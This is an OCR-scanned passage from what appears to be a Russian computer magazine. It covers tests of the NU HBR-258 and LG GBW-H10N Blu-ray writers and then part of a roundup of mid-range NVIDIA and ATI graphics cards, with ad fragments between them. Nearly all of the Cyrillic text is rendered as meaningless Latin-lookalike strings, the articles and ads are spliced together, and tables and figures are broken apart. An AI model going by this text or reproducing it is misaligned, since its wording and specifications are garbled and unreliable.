me h CTBO BaTbca Arm yAOBjieTBOpemiH noT- 
pe6HOCTeH coBpeMeHHBix nojiB30BaTejieH. 
■ ■ ■ A/ieKcaHflp neTpoB 
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Omi/iKa dynymero 


UeHbi Ha npMBOflbi Blu-ray HecnemHO, ho yBepeHHO CHMwaiOTCfl. I/I xoth mx CTomviocTb Bee 
eme ocTaeTCB 3 ao 6 naHHOi/i, npmwio Bpeivm no 6 /ii/i>Ke no 3 HaKOMmbCH c HOBbiM CTaHflapTOM. 


B 3T0M CTaTbe 

BHewHi/m npi/iBOfl NU HBR-258 
BHyipeHHMM npi/iBOfl LG GBW-H10N 
Pe3y/ibTaTbi TecTi/ipoBam/ifl 
BbiBOflbi i/i peKOMeHAapi/m 

0 6i>eMLi coBpeMeHHbix MyjibTHMe- 
AHHHblX KOJIJieKIJHH AOCTHraiOT 

AecHTKOB h aa>Ke cotch raradanr, 
KpOMe Toro, b Cera yace bobcio pacnpo- 
CTpaHHeTCH bhaco HD-xanecTBa (h coot- 
BeTCTByiomero odbeMa). XpaHHTB Bee 3 to 
Ha BHHnecTepe HepeajiBHO, CTHpaTB — 
acajnco. npHeMjieMLiH BapHanr — co 3 Aa- 
HHe apXHBOB Ha OnTHUeCKHX AHCKax. 
npH 3 tom ao He^aBHero BpeMeHH MaxcH- 
MajiBHO AOCTynHBiM o6beMOM 6 bijih 
8,5 T 6 aHT y 6 ojiBaHOK DVD DL, hto npH 
no-npexcHeMy HeMajion ijeHe 3 acTaBjiHeT 
yCOMHHTBCH B HX nepCneKTHBHOCTH. 

Ho Bee MeHBeTCH, Kor^a npHxoAHT 
OHM — npHBOABI H HOCHTeJIH HOBOrO 
(J)opMaTa. Ha cen pa 3 b Harny TecTOByio 
jia 6 opaTOpHK) npHSmia napa ycTponcTB 
Blu-ray: LG GBW-H 10 N h NU HBR- 
258 . a, HOBBie npHBOABI H HOCHTeJIH 


Ha3BaHne: NU HBR-258 

Aflpec b 1/lHTepHeie: www.nu.com.tw 


noxa eme AOpora, ho ohh 6 biCTpo Aerne- 
BeiOT. 3 aTO Ha OAHy 6 ojiBaHKy Blu-ray 
MOJKHO c 6 pOCHTB pa 30 M TpH A^CilTKa 
CpHJIbMOB B (jlOpMaTe AVI HJIH My 3 bIKaJIb- 
HyiO KOJUieKHHK) npHJIHHHBIX pa 3 MepOB. 
K TOMy ace no ctohmocth OAHoro rara- 
danra BD-ahckh odromnoT DVD DL, 
HMeB b OTjiHHHe ot nocjieAHHx nepe 3 anH- 
CBiBaeMBie BapnaHTBi. 


NU HBR-258 


Hecneuiiiaji Tmumia 


npHBOA NU HBR -258 H 3 roTOBjieH 
AOuepHeft KOMnaHHen H3BecTHoro Taft- 
BaHBCKoro npOH3BOAHTejiii Quanta. 


B KOMnjieKT retail-nocTaBKH bxoabt 
caMO ycTpoiiCTBO, OAHOCJioiiHan 6 oji- 
BaHKa BD-RE npOH3BOACTBa Panasonic, 
a Taicace naiceT Ahead Nero Essentials 
7. 2. 3. 3. BHenme npHBOA bbitjuiaht kak 
5,25-aiohmobbih ApaHB, noMemeHHbiH b 
CTaHAapTHyio KOpoGxy AJin BHeniHHx 
HaKonHTejieii. Bjiok nmAHHa — BHe- 
uihhh. Ha 3aAHen creHKe npHBOAa HMe- 
eTCH CTaHAapTHbiH pa3beM mini-USB h 
me3AO mini -jack (3,5 mm). npH otom 
yNU HBR-258 OTcyrcTByeT pa3beM 
FireWire, hto mo>kho cunraTb HeAOCTaT- 
kom b CHjiy 6ojibmen peajibHOH nponycK- 
HOH CnOCOdHOCTH H CTa6HJIbHOCTH pa6o- 
tbi AaHHoro HHTep(j)eHca no cpaBHeHHio 
c USB. npH HbmemHHx ckopoctax 3ann- 


KOHOMryPAUlM TECTOBbIX CTEHflOB 


AECKTOn-nK 
(LG GBW-H10N) 


► npoueccop — Intel Core 2 Duo E6300 

► MaiepMHCKaa ruiaia — Intel 
DQ965GFEKR 

► HwnceT — i965Q+ICH-8 

► 03Y — 2x1024 M6ani DDR2-533 Corsair 

► WecTKMM amck — Samsung HD321KJ 

► Bn — FSP 350W 

► 0C — Windows XP Professional SP2 Eng 

► no — Nero Express 7. 2. 3. 3 


HOyTBYK TOSHIBA 
SATELLITE L25 (NU HBR-258) 

► npoiteccop — Pentium M Dothan 715 
1500MHz 

► 03Y — 2x512 M6ani DDR2-533 Nanya 

► HwnceT — ATI Radeon Xpress 
200M+SB400 

► WecTKMM amck — Fujitsu MHV2120AH 
5400rpm ATA-100 

► OC — Windows XP Home SP2 Eng 

► no — Nero Express 7. 2. 3.3 








PE3VJlbTATbl TECTWPQBAHIH 


CKopocTM 3anncn npiiBOAOB 



LG GBW-H10N 

NU HBR-258 


HoMMHajibHafl 

l/l3MepeHHaa 

HoMMHaabHaa 

l/l3MepeHHaa 


CKOpOCTb 

CKOpOCTb 1 

CKOpOCTb 

CKOpOCTb 1 

BD-R 2 

4x 

3,87x 

2x 

0,9x 

BD-RE 2 

2x 

1,99x 

2x 

0,9x 

DVD±R 

12x 

7,44x 

8x 

6, lx 

DVD±RW 

8x/6x 

- 

8x/6x 

- 

DVD-RAM 

5x 

- 

5x 

- 

DVD±R DL 

4x 

3,94x 

4x 

3,93x 

CD-R 

8x 

7,6x 

32x 

31,05x 

CD-RW 

1 0x 

- 

24x 

- 


1 Twnbi HOcme/ieM, Ha KOTopbix npoBOflM/iocb TecTnpoBaHne 3 anncn, cm. b 6 /iOKe «Kax Mbi TecTMpoBa/iM». 

2 yTM/ima CD-DVD Tool M 3 naxeia Ahead Nero 7.2 He noflflepwMBaeT npoBepKy 3 anncn amckob BD. 
CKOpOCTb BblCHMTblBa/iaCb 1 /ICXOflH M 3 BpeMeHM 3 anMCM. 


CH flHCKOB BD 3TO HeKpHTHUHO, HO B 
byaymeM, npH yBejiHueHHH CKOpocreH, 
MoaceT CTaTB npo6jieMOH. 

TeCT RJW 60JIBHieH peaJIHCTHHHOCTH 
6 bijio perneHO npOBoaHTb Ha Hoyr6yKe. 
npH nOAKJHOHeHHH npHBOa 0n03HaeTCH 
KaK Matshita BD-MLTSW-5582, to ecTB 
ycTpOHCTBO npOH3BoacTBa Panasonic. 
H 3 to coBepmeHHO HeyaHBHTejibHO, 
ywraBaH, hto Quanta HBjineTcn oahhm 
H 3 KpynHeHiHHx OEM-npOH3BOAHTejieH. 

YcTpOHCTBO 6 buio onpo6oBaHO B pa3- 
JIHHHBIX pOKHMaX HTCHHH H 3anHCH, Ha 
pa3HOo6pa3HBix THnax onrauecKHx auc- 
kob. Oho npHHTHO yaHBHjio Hac mhothmh 
AOCTOHHCTB aMH, HO OCHOBHBIM HBJIHeTCH 

OHCHb THxan pa6oTa KaK npH utchuh, Tax 
h 3anHCH. PTHoraa aoHOCHTcn hcho pa3- 
JIHHHMBIH CTyK TOJIOBKH, HO HH- HJTH BH- 
myMa npH 3tom He Ha6jitoaaeTCH, kslk h 
MajieirnieH BH6pau;HH. 

IlpHBOA HecKOJiBKO pa3onapOBaji CKOPO- 
ctbk) pa6oTBi npH 3anHCH aucKOB BD-R h 
BD-RE. HecMOTpn Ha BBiCTaBjieHHyio 
CKOpOCTb 2x, peajiBHoe BpeMH npoxnra 
6ojiBaHKH aocTHmo nojiyropa uacoB, mto 
aaxe Huxe lx. npH 3tom 3anHCB h nre- 
HHe DVD+R DL He BBi3BajiH xaioix- 

JIH60 OTKJIOHeHHH OT 3aHBJieHHbIX CKOpO- 

CTen. 3aecb moxcho c 6ojibihoh aojien 
yBepeHHOCTH tobophtb o Majion npnroa- 
hocth uihhbi USB b ee HbiHenmeM Bnae 
k pa6oTe c noaobHbiMH ycTponcTBaMH — 
KaK B IUiaHe CKOpOCTH, TaK H CTa6HJIbHOC- 
th, CTaBmen npuTueH bo H3bmex. 

TeM He MeHee b aejinx co3aaHHH apxn- 
BOB H pe3epBHOTO KOnHpOBaHHH npH- 
Boa nocjiyxcHT xoponiHM pemeHHeM KaK 


aJin BjiaaejibaeB HoyT6yKOB, TaK h chc- 
TeMHblX aaMHHHCTpaTOpOB, o6cJiy3CH- 
Baioianx cpa3y hcckojibko cepBepOB 
CYEfl. HHTepecHO, hto npaKrauecKH 
Bee Ha6jnoaaBinHe npHBoa b pa6oTe 
3axoTejiH nojiyuHTb TaKOH xe b co6ct- 
BeHHoe pacnopnxeHHe, npH 3 tom 
hhkoto He CMyTHjiH ero HeBbicoKHe 
CKOpocTHbie noKa3aTejin. 


LG GBW-H1 ON 


CKOpOCTb BblUie HOMMHa/ia 


Btopbim nocTynHBiHHM b peaaKaHK) 
npHBoaoM CTaji LG GBW-H10N. Oh 
o6jiaaaeT npeBocxoaHbiMH no cpaBHe- 


HHK) C aHaJIOTHHHblMH yCTpOHCTBaMH 
xapaicrepHCTHKaMH, cpean kotopbix Han- 
6ojiee BaxHOH HBjiHeTcn CKOpOCTb 3anHCH 
oaHOCJiOHHbix aucKOB Blu-ray 4x, hto h 
6bijio npoaeMOHCTpHpoBaHo b xoae Tec- 
THpOBaHHH, HeCMOTpn Ha MapKHpOBKy 
HOCHTejin 2x. B KOMnjieKT BxoaHT Ka6ejib 
ATA-100, caM npHBoa h ancK c KOMn- 
jieKTOM nporpaMM ot CyberLink, b tom 
HHCJie bocbmoh BepcneH PowerDVD, 

HeobxoaHMOH aJM npOHrpbiBaHHH 4 >Hjib- 

mob Ha Blu-ray. TaKace b KOMimeKT noc- 
TaBKH HMeeTcn ancK BD-R. 

B npoaecce TecTHpOBamra Ha npH- 
Boae 3anHCbiBajiHCb h cuHTbiBajracb Te 
xe caMbie hochtcjih, hto h Ha BHe- 
UIHeM yCTpOHCTBe ot NU, c TeMH 
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cayman* My3biKy Ha flMCKax cjJopiviaTa ayawo 
CD 6e3 noflK/iHDHeHHH k KOMnbwnepy 


xe CaMbIMH A aHHLIMH. IlpH 3TOM 
Gbijih BbiaBjieHbi cjieAyiomHe otjihhhh: 
6ojiee BBicoxan ckopoctb 3anncH 6oji- 
BaHOK BD-R — o6mee BpeMH 3ann- 
ch AHCKa cocTaBHjio npHMepHO 22,5 
MHHyTBi npH ckopocth 4x. BBirne h 

CKOpOCTB CHHTBIBaHHH npH CpaBHH- 
mom xanecTBe, hto, no Been bhahmoc- 
th, o6ycjiOBjieHO 6ojiee bbicokoh npo- 
nycKHon cnoco6HOCTBK) HHTep^enca 
IDE. IlepHOAHnecKH B03HHKaiomHH 
inyM n HHor^a Bn6pa h;hh HMejin MecTO 
jinniB b caMBix ckopocthbix pexouviax 
pa6oTBi npHBOAa. 

B ijejiOM Mo^ejiB MoxeT 6 bitb pexo- 
MeH^OBaHa k npHMeHeHnio Ha 6 ojib- 
niHHCTBe ManiHH — 3arpy3xa CPU npn 
pa6oTe c o6bihhbimh AaHHBiMH He npe- 
BBimajia 8-10%. OflHaKO npn ncnojib- 
30BaHHH ITK jinn npocMOTpa HD- 
BH^eO B CHJiy CJI03CH0H 3aiI],HTBI OT 
KOnHpOBaHHH Tpe6yiOTCH AOBOJIBHO 
3HanHTejiBHBie annapaTHBie pecyp- 
cbi — ^ByimepHBiH npopeccop, 6 bict- 
pan BH^eonjiaTa h BHyniHTejiBHBiH 
o6i>eM 03Y, H3 nero moxho CAenaTB 
BBiBOfl, hto npHBOA 6yaeT npHro^eH 
AJin anrpeHAa b ochobhom aobojibho 
CB excnx ManiHH. 



MAKCMMAJlbHAfl CKOPOCTb 


| padoTbi 

npwBOfla NU onpeflejiaeTca xax 51x, ho 
HHTepctieMC USB ee npocTO He noTHHeT 


BbIBOflbl 


Onepeman BpeMfi 


TecTHpOBaHHe noKa 3 ajio, hto y DVD- 
pe3aKOB jihhib oaho npeHMymecTBO 
nepefl Blu-ray — peHa. Ilo BceM ocTajib- 
hbim napaMeTpaM — y^ejiBHOH ctoh- 
MOCTH HOCHTeJIH, yAOOCTBy XpaHeHHH 
AaHHBIX, CKOpOCTH 3 anHCH H HTeHHH — 

Blu-ray 0 AH 03 HanH 0 Jiynrne. B nepenex- 
THBe 6yAeT Ha6jnoAaTBcn flajiBHenmee 
yflemeBjieHHe npHBOAOB (eme He^aBHO 
BHyrpeHHHe pe 3 aKH ctohjih $1200), pac- 
uiHpeHHe accopTHMeHTa Oojibahok 3 a 
cneT AByx- h Aaxe neTBipexcjiOHHBix 
Ahckob, nafleHne hx ctohmocth, noBBi- 
rneHHe nonyjiHpHOCTH. Pa 3 BHTHe ho- 
boh TexH ojiorHH OMpanaiOT jihhib ABa 
MOMeHTa: hchchoctb ncxoAa onepeAHoii 
6opb6bi CTaH^apTOB onTHnecKHx Haxo- 
nHTejien h... acecTKHe ahckh. HecMOTpn 
Ha BBe^eHne HHTepcjDeirca SATA II, bhh- 
necTepBi oneHB MeAJieHHO noBBimaiOT 
ckopoctb paOoTBi, a TexHOJiorHuecKHe 
npe^ejiBi npHBOAOB Blu-ray TaxoBBi, hto 
ckopoctb 3 anncH h htohhh y 3thx ycT- 
POhctb oneHB CKopo 6 yaeT 3 aMeTHO npe- 
bocxoahtb aHajiorHHHBie noxa 3 aTejiH 
HDD. To ecTB BHHnecTepBi npocTO He 
6 yAyr ycneBaTB nepe^aBaTB HHcbopMa- 
h;hio onTHnecKOMy npHBOAy npn 3 ann- 
ch. BHeniHHe npHBOABi Blu-ray Taioxe 
Moryr oneHB GbiCTpo ynepeTBcn b noTO- 
JIOK HIHHBI USB 2.0, H Topzja BBIpyHHTB 
CMOxeT tojibko FireWire 800. 

■ ■ ■ Ahtoh HexaeHKO, Ceprew Axobjicb 
EnasodapuM komhcihuu Ergodata, LG u 
«Eu3nec KOMMynuKau l uu» 3a npedocmae- 
Aennoe Ha meemupoeanue odopydoeanue 



KaK Mbl TeCTMpOBa/IM 

OCHOBHOPi CC|DepOM npMMeHeHHfl HOBbIX HO- 
CMTeaePi craHeT, cKopee Bcero, pe 3 epBMpo- 
B 3 HHe KpynHbIX o6beMOB MyjlbTMMeflMMHblX 
AaHHbix. npn 3 tom bo r/iaBy yrjia 6yqyT noc- 
TaBJieHbl He TOJlbKO HMCTafl CTOMMOCTb 6o/i- 
BaHOK m npMBOflOB, ho m ueHa oflHoro mra- 
6aMTa, a TaK>Ke yAo6cTBO 3KcnjiyaTaunn. 
BBMAy BbimenpMBeAeHHbix aoboaob b nep- 
Byio onepeAb Mbi cpaBHHBa/iM npi/iBOAbi b 
yc/iOBMHx 3 anncn 6ojibmoro KOJii/inecTBa 
My/lbTMMeAHMHblX cjoa M/1 0 B Ha AUCKM 
DVD-R DL m HocmejiM Blu-ray. 
ripM TeCTMpOBaHMM MCn 0 Jlb 30 Ba/lMCb 6 oji- 
b3hkm npon3BOACTBa Verbatim, npMHTHO 
yAMBHBLUi/ie npeBbimeHMeM yKa 3 aHHOM cko- 
pocTM 3anncn. Tax, DVD+R DL 2 . 4 x coBep- 
meHHo cnoKoPiHo 3 anncaBMCb Ha 4 x, Asyx- 
CKopocTHbie BD-R TaK>Ke nopaAOBa/iM 
AByKpaTHbiM yBe/iMHeHMeM ckopocth 3 ann- 
cm. flMCKM BD-RE 2 x, k cowa/ieHMK), TaKoPi 
OCo6eHHOCTM He np 051 BMJlM, HO B J1K)60M 
c/iynae 3 to eAMHCTBeHHbie AOCTynHbie ne- 
pe 3 anncbiBaeMbie auckm o6b6mom 6oBbme 
DVD, Tax hto mx noKyrwa npeACTaB/meTCH 
pa 3 yMHOM A/ifl pe 3 epBMpoBaHMA nepMOAM- 
HeCKM o6HOBBHK)lAMXCH KOJUieKUMM My 3 blKM 
MJ1M 6 a 3 A 3 HHblX. 

3 anMCM Mbi Mcno/ib 30 Ba/iM nporpaMMy 
Ahead Nero 7 , npoBepKM KanecTBa m 3 a- 
Mepa CKopocTM — yTM/iMTy CD-DVD Speed. 
OueHMBa/iacb cKopocTb 3 anMCM Ha HocMTe- 
jiM CD-R, DVD-R, DVD+R DL, BD-R m BD-RE, 
noc/ie Hero CHMMa/iMCb rpac|)MKM HTeHMH 
3 anMcaHHbix 6 oriBaHOK b ue/inx opeHKM 
KanecTBa 3 anMCM. 




rPA(PMK HTEHMfUWCKA BD-RE 


|y npMBOfla 
NU HBR-258 6jih30k k HfleanbHOMy, cxopocTb 
F10HTM He OTJlIiHaeTCB OT HOMMHa/ia 
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HOBOrOfll 

OpraHMjyH ohjishh-e 


nonHbix gepcwM 


QOTOKAMEPbl flO $300 


KownaKTHhfe Moaeni* c forarwMH 0 vhkuh«mm gb 


nporpaMMbi jqnsi 

Windows, Linux, 
Mac OS m KflK 


MEMTECT: 67 MP . 

C00|CMcnHbie $new- £ 


OtpHC 

CiicTeMa 

My/ibTMMeflMa 

MmepHeT 

rpatJiMKa 

flpaiiBepbi 

Mrpbi X-' 


+ DOWNLOAD-KOfl 


50 ^ 




Bbifiop k noKynKa 


DVu-peKopflepa 


C BHHHGCTBPOM so 


GO DIGITAL 

X 


i^CKanaH 
mnyHiime 
porpaMMbi 

1 www.ichip.Pii/dovunlaafl 


JCKanaii 
InyHiuMe 

InporpaamijLiX^ 

- ; f| wmvJd^ipjB'iinwn laaB 
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Jrtrti#SE*u 

■ Driwe Backup ■ l r- L ■ i . ■ M ^ ^ r ■ ■ 

■ _ , , , . , „ 
v/fV ■ H I H 1 1 I if ! PP 

*KoBbie mpbi mmmmm , Diskeeper* 

la Taw roe: 

1 HoBbie nrpbf 
1 Aputi wypHana 
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_ Hal'd Disk 
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iftiwianhHfi* 
^cnpatHas sepCHH 
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Henoporoii 

3D-TVDHM 


Mbi npoTecTMpoBajii/i 19 nonyjiapHbix Ha ceroflHmuHi/m fleHb 
rpacf)MHecKi/ix n/iaT ot NVIDIA i/i ATI, npi/mafl/iexoLni/ix k Heflo- 
poroMy cpeflHeMy KJiaccy. JlMflepbi 6 bmn onpefle/ieHbi b coot- 
BeTCTBMH C HOMMHa/lbHblMH pe>KMMaMH paOOTbl, HO T 3 K>Ke Mbl 
He 3 a 6 buin i/i npo peiueHi/iH ajia OBepKJioKepoB. 


MSI RX1 650XT-T2D256EZ 
He TOJibxo BbicoKan npon3BO- 
AMTejibHOCTb, ho m 6ecmyMHaa 
pa6oTa, a lame xopomaa kom- 
nneKTauHH n OTrwHHbM cepBwc 
Cflejiajui 3Ty njiaTy jiwflepoM 


B 3T0M CTaTbe 

flecaTb Bi/ifleonnaT Ha Hi/max ATI 
fleBHTb Bi/ifleonnaT Ha Hi/max NVIDIA 

no6eAmejiM TecTa 
b h o m i/i h an b h bix pe>Ki/nviax 

PeKOMeHAauMM no Bbidopy n/iaT 
AJifl pa3roHa 


P hhok rpacpHHecxHx ycxopHTejieii 
cpeAHero Kjiacca npeAJiaraeT 
AOCTaTOHHyiO AJIH GOJIblHHHCTBa 
nrp npOH3BOAHTejiLHOCTb 3a pa3yMHBie 
AeHBm. IlpHo6peTaTB Ton-MOAejiB HMeeT 
cmbicji b tom cjiynae, ecjin bbi 3anAJibiH 
nrpoK kjih HMeeTe mohhtop c AnaroHa- 
jibk) 20—24 aiohmob c bbicokhm pa3peme- 
HHeM ao 2560x1600. KpoMe toto, BHAeo- 
iuiaTe KJiacca hi-end ajih onTHMajiBHoir 
paOoTbi TpeOyiOTCH cooTBeTCTByromne ee 
ypoBHio KOMnjieKiyioiAHe. Uena Taxoro 
I1K HBJTHeTCH OHCHb BbICOXOH JSJUl 60 JIb- 
niHHCTBa nojib30BaTejien. FT Me h ho nooTO- 
My HanGojibineii nonyjinpHOCTbio nojib3y- 
IOTC5T peineHHB middle-end n low-end. 

C MOMeHTa Hamero npeAbiAymero Tec- 
THpOBaHHB nOHBHJIHCb HOBbie mfflbl xax 

ATI (AMD) - Radeon X1650Pro/XT, 


Radeon X1300XT, Tax n NVIDIA - 
GeForce 7300GT/LE. B HacTonmnii 
MOMeHT pbmox HacbimeH BHAConjiaTa- 
mh npaxTnnecxn Ha jho6oh Bxyc h abct. 
ITomhmo odbiHHbix xonnii pecpepeHC- 
hmx MOAejieii BCTpenaiOTcn pa3oraaH- 
Hbie BepCHH, yxoMnjiexTOBaHHbie 6bict- 
poii naMHTbio, hjih xe, Hao6opOT, c 
nOHHXCeHHbIMH OTHOCHTeJIbHO OCpHAH- 
ajibHbix pexoMeHAau;HH nacTOTaMH. 
JIlOdHTeJIH THIHHHbl MoryT 6e3 ocodbix 
npodjieM ycTaHOBHTb BHAeomiaTy c nac- 

CHBHbiM oxjiaacAeHHeM, BeAb Aaxe 

caMbie GbicTpbie moacjih middle -end 
BbiAejiHioT ropa3AO MeHbme Tenjia, He- 
xejiH ycxopHTejiH hi-end. JIiodHTejinM 
pa3TOHa npHAyTcn no Bxycy MeAHbie 
CHCTeMbI OXJiaXAeHHH C TenjIOBbIMH 
TpydxaMH h TypdHHaMH. JXjw hhx oco6o 
axTyajibHbiMH oxaxyrcn HexoTOpbie 
BHAeonjiaTbi c OTMeHHbiM pa3TOHHbiM 
noTeHiinajiOM, cnoco6m>iM npn rpaMOT- 
HOM OBepXJIOXHHre BbIBeCTH JIHAepOB 
pbmxa low-end b jiHAepbi middle-end. 

Foxconn FV-N73TM2DT 

BnAeonjiaTa 6a3HpyeTcn Ha nnne 
GeForce 7300GT (G73), BXjnonaioiAeM 
b ce6n BOceMb nnxcejibHbix h nerape 


"ht j Pe 3 y/i biaTbi 

■ Han6o/iee Ae/iecoo6pa3HbiMM, Ha 
Ham B3maA, noKynKaMM aB/iaiOT- 
ca n/iaTbi Ha 6a3e Hi/inoB GeForce 
7600GT m Radeon X1650XT. Ohm Ae- 
MOHCTpMpyKDT CaMyfO BblCOKyfO no 
cpaBHeHMfo c ocTa/ibHbiMM naaTaMM 

npOM3BOAMTe/lbHOCTb. 0AHO3HaHHOrO 
/iMAepa cpeAM hmx Hen npoM3BOAM- 
Te/lbHOCTb HMnOB HaXOAMTCa Ha OAM- 
HaKOBOM ypoBHe. Bbi6op no6eAMTe- 
Jia ceroAHaLUHero TecTa o6yc/iOB/ieH 
ApyrMMM napaMeipaMM. 

Ec/in $180 A-n^ Bac nepe6op, totas 
CTOMT o6paTMTb BHMMBHMe Ha n/iaTbi 
c HMnaMM GeForce 7300GT/X1300XT 
m GDDR3-naMaTbfo. Ohm o6nap,am 
OTaMHHbiM pa3roHHbm noieHAMaaoM, 
6aaroAapa neMy 3a $100 Bbi no/iyna- 
eie MOAeab, cooTBeTCTByioLAyK) ue- 
hobom KaTeropMM $150 m 6/iM3KyK) 
no npoM3BOAMTeabHOCTM k jiMAepaM 
Hamero TecTMpoBaHMa. CaMaa 6bicT- 
paa naMaTb, ycTaHOBaeHHaa Ha TaKMx 
n/iaTax, MMeeT BpeMa AOCTyna 1,2 hc, 
ho BCTpenaeTca OHa AOBO/ibHo peA- 
ko. CaMOM pacnpocTpaHeHHOM CTaaa 
naMaTb co BpeMeHeM AOCTyna 1,4 hc. 
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hto m y odbiHHOM X1300XT 
— 


BepniHHHbix npoiteccopa. CncTeMa 
OXJiaXAeHHH COCTOHT H3 KOMnaKTHOrO 
ajiiOMHHHeBoro pa^naTopa h Benrajia- 
Topa. Ha njiaTe ycTaHOBjieHO BoceMB 
MHKpocxeM naMBTH Hynix GDDR2 co 
BpeMeHeM ^ocTyna 2,5 hc, padoTaiomHx 
Ha nacTOTe 667 Mru;, xoTa HOMHHajiOM 
fljia hhx aBjiaeTca 800 Mru;. Enarotjapa 
3TOMy B03M03CeH omyraMbift pa3roH no 
naMHTH, BCJieflCTBHe aero njiaTa dyzjeT 
cnocodHa npOTteMOHCTpHpOBaTb cxo- 
acyio c GeForce 7600GS npOH3BO£H- 
TejiBHOCTB. Enje He^aBHO b npo^axce 
mo3cho 6bijio Hafira GeForce 7300GT c 
6ojiee dbiCTpofi naMHTbio GDDR3 (b tom 
HHCJ ie h 1,2 hc), ho b nocjietjHee BpeMa 

TaKHe MO^eJIH CTaJIH pe^KOCTblO. 

CncTeMa oxnaacTtCHHa, cocToanjaa H3 
ajiiOMHHHeBoro pa^naTopa h Bemruia- 
Topa, BecBMa KOMnaxraa h 3axpbiBaeT 
co6oh tojibko a#po h nofljioxKy rpa(J)H- 
necKoro npoiteccopa. njiaTa odopyzjo- 
BaHa BBixo^aMH DVI, VGA, S -Video, 
HDTV h SLI-pa3T>eMOM #jih co3^a- 
hhh nojmoiieHHoro He^opororo SLI- 
pemeHHH, cnocodHoro cocTaBHTB koh- 
KypeHu;HK) GeForce 7600GT. B KOMn- 
jieKT nocTaBKH bxotjht nporpaMMBi 
RestorelT 7, VirtualDrive, ahck c Apafi- 


BepaMH, pyKOBO^CTBO n0JIB30BaTeJI5I, 
nepexo^HHK DVI-to-D-Sub, pa3BeTBH- 
Tejit ajih HDTV h S -Video. B iienoM 
ctohmoctb njiaTBi BnojiHe onpaB^aHHa. 

ASUS EN7600GS 
Top Silent/HTD/51 2M/A 

npOAyxiiHB KOMnaHHH ASUS Bcer^a 

CJiaBHJiaCB CBOHM KaneCTBOM H OTMeH- 

hoh KOMnjieKTaiiHeH. EN7600GS Top 
Silent He aBjiaeTca HCKjnoneHHeM. Hnn h 
naMHTB pacnojiaraiOTca He Ha jnmeBoft, a 
Ha odpaTHOH CTopoHe nenaTHOH miaTBi, 
hto caMO no cede yHHKajitHO. 3 to ozjejia- 
HO flJIH yCTaHOBKH (J)HpMeHHOH naCCHB- 
HOH CHCTeMBI OXJia^eHHH, COCTOHmeir 
H3 A Byx MaCCHBHBIX pa^HaTOpOB H Temio- 
boh TpyGxH. Taxaa TexHOJioraa oxnaacae- 
hhh rpa(J)HnecKoro anna, nojiyauBLnaa 
Ha3BaHne ReverseCool, BnepBBie noa- 
BHjiact Ha njiaTax EAX700 Silencer. 
Moment EN7600GS Top Silent ocHanje- 
Ha 512M6airT GDDR2 npOH3BO£CTBa 
Infineon co BpeMeHeM ^ocTyna 2 hc, hto 
cooTBeTCTByeT nacTOTe 1000 MTu;, Ha 
npaKTHKe naMHTb notmepacHBaeT aacTOTy 
950 Mru;. Rttpo padoTaeT Ha noBbimeH- 
hoh nacTOTe 550 MDa bmccto pexoMeH- 
aoBaHHbix 400 MTu;. Taxaa «npoxaHKa» 


BrmoTHyio npH 6 jiH 3 Hjia ee npOH3BO#H- 
TejibHOCTb k ypoBHio GeForce 7600 GT. 
BH£eoroiaTa ocHanteHa BbixottaMH DVI, 
VGA, S-Video h HTDV. Hamane SLI- 

pa3beMa ttaeT B03MoacHOCTb yBejiHHHTb 
npOH3BO£HTejn>HOCTb cHCTeMbi nyreM 
yCTaHOBKH BTOpofi BHAeomiaTbi. 

KoMnjiexT nocTaBKH xax Bcer^a Ha 
BbicoTe. noMHMO njiaTbi b Kopodxe Haxo- 
Ahtch nrpbi Savage, BilluBlade, Mashed, 

KOMnaKT-flHCK C pyKOBOACTBOM nOJIb30- 
BaTejia Ha pa3JiHHHbix H3biKax, ahck c 
A pafiBepaMH h HadopOM (JmpMeHHbix 
yTHjiHT ASUS, nepexo^HHK DVI-to- 
D-Sub, pa3BeTBHTejib HDTV. 

EN7600GS Top Silent — yHHKajibHoe 
peineHne Ha da3e GeForce 7600GS, 
OTjiHnaiomeeca ot aHajiorHHHbix njiaT 
BbICOKOH CKOpOCTbK) padOTbl, npH 3TOM 
adcojnoTHO decmyMHoe. BnponeM, y 
ASUS ecTb h donee CKopocTHaa Monejib 
Ha da3e GeForce 7600GS, yKOMimeKTO- 
BaHHaa GDDR3-naMaTbio, — EN7600GS 
Top/2HTD/256M. 

MSI NX7300GS-TD256E 

BoabniHHCTBO BH^eonjiaT c HHnaMH 
GeForce 7300GS Ga3npyiOTca Ha ne- 
naTHbix naaTax HH3Konpo(J)HabHoro -4 
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Typ 6 nHHbiM, 6 ojiee 3 c|)c| 3 eKniBHbiM no epaB- 
HeHliK) C KJiaCCMHeCKMM, TMnOM OXJiaJKfleHMB 


AH3aHHa. NX7300-TD256E He hcxjho- 
neHHe. Ha njiaTe ycTaHOBjieHO neTBipe 
nnna naMiiTH roiOTHOCTtio 512 M6 ht, 
hto b cyMMe AaeT oGbcm 256 MGaftT. 
Rapo h naMiiTB pa6oTaiOT Ha nacTOTe 
550/810 M Hi, hto HBjuieTCiT hopmoh rjw 
GeForce 7300GS. B to ace BpeMH noA 
Hoac nonuiH nHKcejiBHBie h BepniHHHBie 
KOHBenepBi (4 h 3 cooTBeTCTBeHHo) h 
64-6HTHaa niHHa naMHTH. 3to h HBjineT- 
C5T OCHOBHOH nOMeXOH RJW BBICOXOH CKO- 

pocTH. rpa(j)HHecKHH npou;eccop oxjiaac- 
A aeTCH aJHOMHHHeBBIM pa^HaTOpOM H 
HeOoJIBIHHM BeHTHJIiTTOpOM. 

B KOMnjieKT nocTaBKH bxoaht pyxo- 
BOACTBO n0JIB30BaTeJI5T, KOMnaKT-AHCK 
C ApaHBepaMH H (J)HpMeHHBIMH yTHJIH- 
TaMH, nepexo^HHK DVI-to-D-Sub, 
xaGejiB S -Video h (JmpMeHHan Haxjien- 
xa. JXsin njiaT HanajibHoro ypOBHH Taxon 
HebpocxHH xoMnjiexT npocTHTejieH h 
npH3BaH CHH3HTB CTOHMOCTB H3ACJIHH 
AO MHHHMyMa. 

MoAejiB NX7300GS-TD256E paccHH- 
TaHa npeacAe Bcero Ha MaccoBoro noTpe- 
bHTejiiT, He npeAbiTBjBHomero ocoGbix 
T pebOBaHHH X CXOpOCTH pabOTBI b 3D. 

MSI NX7300LE-TD256E 

/],H3aHH nenaTHOH miaTBi, xoMimexTa- 
AH5I H OCTBJIBHBie XapaXTepHCTHXH 3a 
HCXjHoneHHeM noHHaceHHBix nacTOT 
HAeHTHHHBi NX7300GS-TD256E. Rapo 
paboTaeT Ha nacTOTe 450 MTu,. Ha njiaTe 
ycTaHOBjieHO 256 MGanr GDDR2 npo- 
H3BOACTBa Hynix co BpeMeHeM AOCTyna 
